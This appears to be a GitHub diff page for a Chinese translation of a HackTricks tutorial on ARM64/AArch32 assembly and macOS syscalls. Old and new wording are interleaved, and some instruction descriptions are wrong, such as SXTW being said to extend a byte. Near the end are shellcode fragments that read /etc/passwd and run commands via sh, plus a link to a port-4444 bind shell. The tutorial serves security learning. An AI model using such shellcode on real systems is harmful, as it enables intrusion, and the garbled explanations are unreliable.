* **带扩展的右旋转**:类似于**`ror`**,但将进位标志作为“最高有效位”。因此,将进位标志移动到第31位,将移除的位移动到进位标志。
|
||||
* **`bfm`**:**位字段移动**,这些操作将从一个值中复制位`0...n`并将其放置在位置`m..m+n`。**`#s`**指定最左边的位位置,**`#r`**指定右旋转量。
|
||||
* 位字段移动:`BFM Xd, Xn, #r`
|
||||
* 有符号位字段移动:`SBFM Xd, Xn, #r, #s`
|
||||
* 无符号位字段移动:`UBFM Xd, Xn, #r, #s`
|
||||
* **位字段提取和插入**:从一个寄存器中复制位字段并将其复制到另一个寄存器中。
|
||||
* **`BFI X1, X2, #3, #4`** 从 X2 的第 3 位开始插入 4 位到 X1
|
||||
* **`BFXIL X1, X2, #3, #4`** 从 X2 的第 3 位提取四位并将其复制到 X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** 从 X2 中扩展 4 位并从第 3 位开始插入 X1,将右侧位清零
|
||||
* **`SBFX X1, X2, #3, #4`** 从 X2 的第 3 位开始提取 4 位,进行符号扩展,并将结果放入 X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** 从 X2 中扩展 4 位并从第 3 位开始插入 X1,将右侧位清零
|
||||
* **`UBFX X1, X2, #3, #4`** 从 X2 的第 3 位开始提取 4 位,并将零扩展的结果放入 X1。
|
||||
* **符号扩展至 X**:扩展值的符号(或在无符号版本中仅添加 0)以便执行操作:
|
||||
* **`SXTB X1, W2`** 将字节的符号从 W2 扩展到 X1(`W2` 是 `X2` 的一半)以填充 64 位
|
||||
* **`SXTH X1, W2`** 将 16 位数字的符号从 W2 扩展到 X1 以填充 64 位
|
||||
* **`SXTW X1, W2`** 将字节的符号从 W2 扩展到 X1 以填充 64 位
|
||||
* **`UXTB X1, W2`** 将字节的 0(无符号)从 W2 添加到 X1 以填充 64 位
|
||||
* **`extr`**:从指定的**连接的一对寄存器**中提取位。
|
||||
* 示例:`EXTR W3, W2, W1, #3` 这将**连接 W1+W2** 并从 W2 的第 3 位到 W1 的第 3 位获取并将其存储在 W3 中。
|
||||
* **`cmp`**:比较两个寄存器并设置条件标志。这是 `subs` 的别名,将目标寄存器设置为零寄存器。用于判断 `m == n`。
|
||||
* 支持与 `subs` 相同的语法
|
||||
* 示例:`cmp x0, x1` — 这将比较 `x0` 和 `x1` 中的值,并相应地设置条件标志。
|
||||
* **`cmn`**:**比较负数**操作数。在这种情况下,它是 `adds` 的别名并支持相同的语法。用于判断 `m == -n`。
|
||||
* **`ccmp`**:条件比较,仅在先前的比较为真时执行比较,并明确设置 nzcv 位。
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果 x1 != x2 并且 x3 < x4,则跳转到 func
|
||||
* 这是因为**`ccmp`**仅在**先前的 `cmp` 为 `NE` 时执行**,如果不是,则位 `nzcv` 将设置为 0(这不会满足 `blt` 比较)。
|
||||
* 这也可以用作 `ccmn`(与 `cmp` 相同,但是负数,类似于 `cmp` vs `cmn`)。
|
||||
* **`tst`**:检查比较的值是否都为 1(类似于 ANDS,但不会在任何地方存储结果)。用于检查具有值的寄存器,并检查值中指示的寄存器的任何位是否为 1。
|
||||
* 示例:`tst X1, #7` 检查 X1 的最后 3 位中是否有任何位为 1
|
||||
* **`teq`**:异或操作,丢弃结果
|
||||
* **`BFI X1, X2, #3, #4`** 从X2的第3位插入4位到X1
|
||||
* **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取四位并将其复制到X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** 从X2中扩展4位并从第3位开始将其插入X1,将右侧位清零
|
||||
* **`SBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,进行符号扩展,并将结果放入X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** 从X2中扩展4位并从第3位开始将其插入X1,将右侧位清零
|
||||
* **`UBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,并将零扩展的结果放入X1。
|
||||
* **符号扩展至X**:扩展值的符号(或在无符号版本中仅添加0)以便对其进行操作:
|
||||
* **`SXTB X1, W2`** 从W2扩展一个字节的符号到X1(`W2`是`X2`的一半)以填充64位
|
||||
* **`SXTH X1, W2`** 从W2扩展一个16位数的符号到X1以填充64位
|
||||
* **`SXTW X1, W2`** 从W2扩展一个字节的符号到X1以填充64位
|
||||
* **`UXTB X1, W2`** 添加0(无符号)到W2的一个字节到X1以填充64位
|
||||
* **`extr`**:从连接的指定**一对寄存器中提取位**。
|
||||
* 示例:`EXTR W3, W2, W1, #3` 这将**连接W1+W2**并从W2的第3位到W1的第3位获取并将其存储在W3中。
|
||||
* **`cmp`**:比较两个寄存器并设置条件标志。它是`subs`的别名,将目标寄存器设置为零寄存器。用于判断`m == n`。
|
||||
* 支持与`subs`相同的语法
|
||||
* 示例:`cmp x0, x1` — 这将比较`x0`和`x1`的值,并相应地设置条件标志。
|
||||
* **`cmn`**:**比较负数**操作数。在这种情况下,它是`adds`的别名并支持相同的语法。用于判断`m == -n`。
|
||||
* **`ccmp`**:条件比较,仅在先前的比较为真时执行比较,并特别设置nzcv位。
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果x1 != x2且x3 < x4,则跳转到func
|
||||
* 这是因为**`ccmp`**仅在**先前的`cmp`为`NE`时执行**,如果不是,则位`nzcv`将设置为0(不满足`blt`比较)。
|
||||
* 这也可以用作`ccmn`(相同但是负数,类似于`cmp`与`cmn`)。
|
||||
* **`tst`**:检查比较的值是否都为1(类似于ANDS但不会在任何地方存储结果)。用于检查一个寄存器与一个值,并检查值中指示的寄存器的任何位是否为1。
|
||||
* 示例:`tst X1, #7` 检查X1的最后3位中是否有任何位为1
|
||||
* **`teq`**:执行异或操作并丢弃结果
|
||||
* **`b`**:无条件跳转
|
||||
* 示例:`b myFunction` 
|
||||
* 请注意,这不会将链接寄存器填充为返回地址(不适用于需要返回的子程序调用)
|
||||
* **`bl`**:带链接的分支,用于**调用**子程序。将返回地址存储在 `x30` 中。
|
||||
* 示例:`bl myFunction` — 这将调用函数 `myFunction` 并将返回地址存储在 `x30` 中。
|
||||
* **`bl`**:带链接的分支,用于**调用**子程序。将返回地址存储在`x30`中。
|
||||
* 示例:`bl myFunction` — 这将调用函数`myFunction`并将返回地址存储在`x30`中。
|
||||
* 请注意,这不会将链接寄存器填充为返回地址(不适用于需要返回的子程序调用)
|
||||
* **`blr`**:带链接到寄存器的分支,用于调用寄存器中指定的子程序的目标。将返回地址存储在 `x30` 中。(这是 
|
||||
* 示例:`blr x1` — 这将调用地址包含在 `x1` 中的函数,并将返回地址存储在 `x30` 中。
|
||||
* **`ret`**:从子程序**返回**,通常使用**`x30`** 中的地址。
|
||||
* 示例:`ret` — 这将使用 `x30` 中的返回地址从当前子程序返回。
|
||||
* **`blr`**:带链接到寄存器的分支,用于**调用**在**寄存器中指定的目标**的子程序。将返回地址存储在`x30`中。(这是 
|
||||
* 示例:`blr x1` — 这将调用地址包含在`x1`中的函数,并将返回地址存储在`x30`中。
|
||||
* **`ret`**:**从子程序返回**,通常使用**`x30`**中的地址。
|
||||
* 示例:`ret` — 这将使用`x30`中的返回地址从当前子程序返回。
|
||||
* **`b.<cond>`**:条件分支
|
||||
* **`b.eq`**:**如果相等则跳转**,基于先前的 `cmp` 指令。
|
||||
* 示例:`b.eq label` — 如果先前的 `cmp` 指令找到两个相等的值,则跳转到 `label`。
|
||||
* **`b.ne`**:**如果不相等则跳转**。此指令检查条件标志(由先前的比较指令设置),如果比较的值不相等,则跳转到标签或地址。
|
||||
* 示例:在 `cmp x0, x1` 指令之后,`b.ne label` — 如果 `x0` 和 `x1` 中的值不相等,则跳转到 `label`。
|
||||
* **`cbz`**:**比较并在零时跳转**。此指令将一个寄存器与零进行比较,如果它们相等,则跳转到标签或地址。
|
||||
* 示例:`cbz x0, label` — 如果 `x0` 中的值为零,则跳转到 `label`。
|
||||
* **`cbnz`**:**比较并在非零时跳转**。此指令将一个寄存器与零进行比较,如果它们不相等,则跳转到标签或地址。
|
||||
* 示例:`cbnz x0, label` — 如果`x0`中的值非零,则跳转到`label`。
|
||||
* **`tbnz`**:测试位并在非零时跳转
|
||||
* 示例:`tbnz x0, #8, label`
|
||||
* **`tbz`**:测试位并在零时跳转
|
||||
* 示例:`tbz x0, #8, label`
|
||||
* **条件选择操作**:这些操作的行为取决于条件位的值。
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 如果为真,则 X0 = X1,如果为假,则 X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> 如果为真,则 Xd = Xn,如果为假,则 Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> 如果为真,则 Xd = Xn + 1,如果为假,则 Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> 如果为真,则 Xd = Xn,如果为假,则 Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> 如果为真,则 Xd = NOT(Xn),如果为假,则 Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> 如果为真,则 Xd = Xn,如果为假,则 Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> 如果为真,则 Xd = - Xn,如果为假,则 Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> 如果为真,则 Xd = 1,如果为假,则 Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> 如果为真,则 Xd = \<all 1>,如果为假,则 Xd = 0
|
||||
* **`adrp`**:计算**符号的页地址**并将其存储在寄存器中。
|
||||
* 示例:`adrp x0, symbol` — 这将计算`symbol`的页地址并将其存储在`x0`中。
|
||||
* **`ldrsw`**:从内存中**加载**带符号的**32位**值并将其**符号扩展为64位**。
|
||||
* 示例:`ldrsw x0, [x1]` — 这会从`x1`指向的内存位置加载带符号的32位值,将其符号扩展为64位,并将其存储在`x0`中。
|
||||
* **`stur`**:将寄存器值**存储到内存位置**,使用另一个寄存器的偏移量。
|
||||
* 示例:`stur x0, [x1, #4]` — 这将`x0`中的值存储到比`x1`当前地址大4个字节的内存地址中。
|
||||
* **`svc`**:进行**系统调用**。它代表"Supervisor Call"。当处理器执行此指令时,它会从用户模式切换到内核模式,并跳转到内存中内核系统调用处理代码所在的特定位置。
|
||||
* 示例:
|
||||
* **`b.eq`**:**如果相等则跳转**,基于先前的`cmp`指令。
|
||||
* 示例:`b.eq label` — 如果先前的`cmp`指令找到两个相等的值,则跳转到`label`。
|
||||
* **`b.ne`**: **Branch if Not Equal**. 这个指令检查条件标志(由先前的比较指令设置),如果比较的值不相等,则跳转到一个标签或地址。
|
||||
* 例子:在`cmp x0, x1`指令之后,`b.ne label` — 如果`x0`和`x1`中的值不相等,则跳转到`label`。
|
||||
* **`cbz`**: **Compare and Branch on Zero**. 这个指令将一个寄存器与零进行比较,如果它们相等,则跳转到一个标签或地址。
|
||||
* 例子:`cbz x0, label` — 如果`x0`中的值为零,则跳转到`label`。
|
||||
* **`cbnz`**: **Compare and Branch on Non-Zero**. 这个指令将一个寄存器与零进行比较,如果它们不相等,则跳转到一个标签或地址。
|
||||
* 例子:`cbnz x0, label` — 如果`x0`中的值非零,则跳转到`label`。
|
||||
* **`tbnz`**: 测试位并在非零时跳转
|
||||
* 例子:`tbnz x0, #8, label`
|
||||
* **`tbz`**: 测试位并在零时跳转
|
||||
* 例子:`tbz x0, #8, label`
|
||||
* **条件选择操作**:这些是根据条件位变化行为的操作。
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 如果为真,X0 = X1,如果为假,X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> 如果为真,Xd = Xn + 1,如果为假,Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> 如果为真,Xd = NOT(Xn),如果为假,Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> 如果为真,Xd = - Xn,如果为假,Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> 如果为真,Xd = 1,如果为假,Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> 如果为真,Xd = \<all 1>,如果为假,Xd = 0
|
||||
* **`adrp`**: 计算一个符号的**页地址**并将其存储在一个寄存器中。
|
||||
* 例子:`adrp x0, symbol` — 这会计算`symbol`的页地址并将其存储在`x0`中。
|
||||
* **`ldrsw`**: 从内存中**加载**一个带符号的**32位**值并将其**符号扩展为64位**。
|
||||
* 例子:`ldrsw x0, [x1]` — 这会从`x1`指向的内存位置加载一个带符号的32位值,将其符号扩展为64位,并将其存储在`x0`中。
|
||||
* **`stur`**: 将寄存器值**存储到内存位置**,使用另一个寄存器的偏移量。
|
||||
* 例子:`stur x0, [x1, #4]` — 这会将`x0`中的值存储到比`x1`当前地址大4个字节的内存地址中。
|
||||
* **`svc`**:进行一个**系统调用**。它代表"Supervisor Call"。当处理器执行这个指令时,它会**从用户模式切换到内核模式**,并跳转到内存中内核的系统调用处理代码所在的特定位置。
|
||||
* 例子:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; 将退出系统调用号(93)加载到寄存器 x8 中。
|
||||
mov x0, 0 ; 将退出状态码(0)加载到寄存器 x0 中。
|
||||
mov x8, 93 ; 将退出的系统调用号(93)加载到寄存器x8中。
|
||||
mov x0, 0 ; 将退出状态码(0)加载到寄存器x0中。
|
||||
svc 0 ; 进行系统调用。
|
||||
```
|
||||
|
||||
### **函数序言**
|
||||
|
||||
1. **将链接寄存器和帧指针保存到堆栈中**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
|
@ -263,13 +262,13 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
## AARCH32 执行状态
|
||||
|
||||
Armv8-A 支持执行 32 位程序。**AArch32** 可以在 **两种指令集**之一中运行:**`A32`** 和 **`T32`**,并可以通过 **`interworking`** 在它们之间切换。\
|
||||
**特权** 64 位程序可以通过执行将执行权转移到较低特权的 32 位程序的例外级别转移来调度 **执行 32 位** 程序。\
|
||||
请注意,从 64 位到 32 位的过渡发生在较低的异常级别(例如,EL1 中的 64 位程序触发 EL0 中的程序)。当 `AArch32` 进程线程准备好执行时,通过将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位设置为 1** 来完成这一过渡,而 `SPSR_ELx` 的其余部分存储了 **`AArch32`** 程序的 CPSR。然后,特权进程调用 **`ERET`** 指令,使处理器转换到 **`AArch32`** 进入 A32 或 T32,具体取决于 CPSR\*\*。\*\*
|
||||
**特权**的 64 位程序可以通过执行例外级别转移到较低特权的 32 位程序来调度 **执行 32 位** 程序。\
|
||||
请注意,从 64 位到 32 位的过渡发生在例外级别的降低时(例如,EL1 中的 64 位程序触发 EL0 中的程序)。当 `AArch32` 进程线程准备好执行时,通过将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位设置为 1** 来完成这一过渡,而 `SPSR_ELx` 的其余部分存储了 **`AArch32`** 程序的 CPSR。然后,特权进程调用 **`ERET`** 指令,使处理器转换到 **`AArch32`** 进入 A32 或 T32,具体取决于 CPSR\*\*。\*\*
|
||||
|
||||
**`interworking`** 使用 CPSR 的 J 和 T 位。`J=0` 和 `T=0` 表示 **`A32`**,`J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
|
||||
这是在 **interworking 分支指令** 中设置的,但也可以直接使用其他指令设置,当 PC 被设置为目标寄存器时。例如:
|
||||
这是在 **interworking 分支指令**期间设置的,但也可以直接使用其他指令设置,当 PC 被设置为目标寄存器时。示例:
|
||||
|
||||
另一个例子:
|
||||
另一个示例:
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
|
@ -282,20 +281,20 @@ mov r0, #8
|
|||
```
|
||||
### 寄存器
|
||||
|
||||
有16个32位寄存器(r0-r15)。**从r0到r14**它们可以用于**任何操作**,但其中一些通常被保留:
|
||||
有16个32位寄存器(r0-r15)。**从r0到r14**它们可以用于**任何操作**,但其中一些通常是保留的:
|
||||
|
||||
- **`r15`**:程序计数器(始终)。包含下一条指令的地址。在A32中为当前 + 8,在T32中为当前 + 4。
|
||||
- **`r11`**:帧指针
|
||||
- **`r12`**:函数内调用寄存器
|
||||
- **`r12`**:程序内调用寄存器
|
||||
- **`r13`**:堆栈指针
|
||||
- **`r14`**:链接寄存器
|
||||
|
||||
此外,寄存器在**`banked registries`**中备份。这些地方存储寄存器的值,允许在异常处理和特权操作中执行**快速上下文切换**,避免每次都需要手动保存和恢复寄存器。\
|
||||
这是通过将处理器状态从`CPSR`保存到所采取的处理器模式的`SPSR`来完成的。在异常返回时,**从`SPSR`恢复`CPSR`**。
|
||||
这是通过**将处理器状态从`CPSR`保存到所采取的处理器模式的`SPSR`**来完成的。在异常返回时,**从`SPSR`恢复`CPSR`**。
|
||||
|
||||
### CPSR - 当前程序状态寄存器
|
||||
|
||||
在AArch32中,CPSR的工作方式类似于AArch64中的**`PSTATE`**,当发生异常时,它也存储在**`SPSR_ELx`**中以便稍后恢复执行:
|
||||
在AArch32中,CPSR的工作方式类似于AArch64中的**`PSTATE`**,当发生异常时也存储在**`SPSR_ELx`**中以便稍后恢复执行:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -307,23 +306,23 @@ mov r0, #8
|
|||
#### 应用程序状态寄存器(APSR)
|
||||
|
||||
- **`N`**,**`Z`**,**`C`**,**`V`**标志(就像在AArch64中一样)
|
||||
- **`Q`**标志:在执行专门的饱和算术指令时,当**整数饱和发生**时设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何隐式检查其值的指令,必须通过手动读取来完成。
|
||||
- **`Q`**标志:在执行专门的饱和算术指令时,如果发生**整数饱和**,则将其设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何隐式检查其值的指令,必须通过手动读取来完成。
|
||||
- **`GE`**(大于或等于)标志:用于SIMD(单指令,多数据)操作,例如“并行加法”和“并行减法”。这些操作允许在单个指令中处理多个数据点。
|
||||
|
||||
例如,**`UADD8`**指令**并行添加四对字节**(来自两个32位操作数)并将结果存储在32位寄存器中。然后,基于这些结果,它在`APSR`中**设置`GE`标志**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
|
||||
例如,**`UADD8`**指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后,基于这些结果,它**在`APSR`中设置`GE`标志**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
|
||||
|
||||
**`SEL`**指令使用这些GE标志执行条件操作。
|
||||
|
||||
#### 执行状态寄存器
|
||||
|
||||
- **`J`**和**`T`**位:**`J`**应为0,如果**`T`**为0,则使用A32指令集,如果为1,则使用T32指令集。
|
||||
- **IT块状态寄存器**(`ITSTATE`):这些是位10-15和25-26。它们存储`IT`前缀组内指令的条件。
|
||||
- **`J`**和**`T`**位:**`J`**应为0,如果**`T`**为0,则使用指令集A32,如果为1,则使用T32。
|
||||
- **IT块状态寄存器**(`ITSTATE`):这些是位10-15和25-26。它们存储**`IT`**前缀组内指令的条件。
|
||||
- **`E`**位:指示**字节序**。
|
||||
- **模式和异常掩码位**(0-4):它们确定当前的执行状态。第**5**个指示程序是否以32位(1)或64位(0)运行。其他4个表示当前正在使用的**异常模式**(当发生异常并正在处理时)。设置的数字表示在处理此异常时触发另一个异常的当前优先级。
|
||||
- **模式和异常掩码位**(0-4):它们确定当前的执行状态。第**5**个指示程序是否以32位(1)或64位(0)运行。其他4个表示**当前正在使用的异常模式**(当发生异常并正在处理时)。设置的数字表示在处理此异常时触发另一个异常的当前优先级。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**:可以使用**`A`**,`I`,`F`位禁用某些异常。如果**`A`**为1,则会触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**(IRQs)。F与**快速中断请求**(FIRs)有关。
|
||||
- **`AIF`**:可以使用**`A`**,`I`,`F`位禁用某些异常。如果**`A`**为1,则表示将触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**(IRQs)。F与**快速中断请求**(FIRs)有关。
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -333,7 +332,7 @@ mov r0, #8
|
|||
|
||||
### Mach陷阱
|
||||
|
||||
查看[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)。Mach陷阱将具有**x16 < 0**,因此您需要使用前一个列表中的数字并加上**负号**进行调用:**`_kernelrpc_mach_vm_allocate_trap`**是**`-10`**。
|
||||
查看[**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html)。Mach陷阱将具有**x16 < 0**,因此您需要使用前一个列表中的数字并加上**负号**进行调用:**`_kernelrpc_mach_vm_allocate_trap`**是**`-10`**。
|
||||
|
||||
您还可以在反汇编器中检查**`libsystem_kernel.dylib`**,以找出如何调用这些(以及BSD)系统调用:
|
||||
```bash
|
||||
|
@ -344,7 +343,7 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
|||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
{% hint style="success" %}
|
||||
有时候检查**`libsystem_kernel.dylib`**中的**反编译**代码比检查**源代码**更容易,因为几个系统调用(BSD和Mach)的代码是通过脚本生成的(请查看源代码中的注释),而在dylib中,你可以找到正在被调用的内容。
|
||||
有时候检查**`libsystem_kernel.dylib`**中的**反编译**代码比检查**源代码**更容易,因为几个系统调用(BSD和Mach)的代码是通过脚本生成的(请检查源代码中的注释),而在dylib中,您可以找到正在被调用的内容。
|
||||
{% endhint %}
|
||||
|
||||
### Shellcodes
|
||||
|
@ -493,7 +492,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### 通过从 fork 中使用 sh 调用命令,以便主进程不被杀死
|
||||
#### 通过从fork中调用sh命令来确保主进程不被终止
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -539,7 +538,7 @@ touch_command: .asciz "touch /tmp/lalala"
|
|||
```
|
||||
#### 绑定 shell
|
||||
|
||||
从 [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) 获取在**端口 4444**上的绑定 shell。
|
||||
从 [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) 获取在**端口 4444**上的绑定 shell
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -694,7 +693,7 @@ svc #0x1337
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
|
Loading…
Reference in a new issue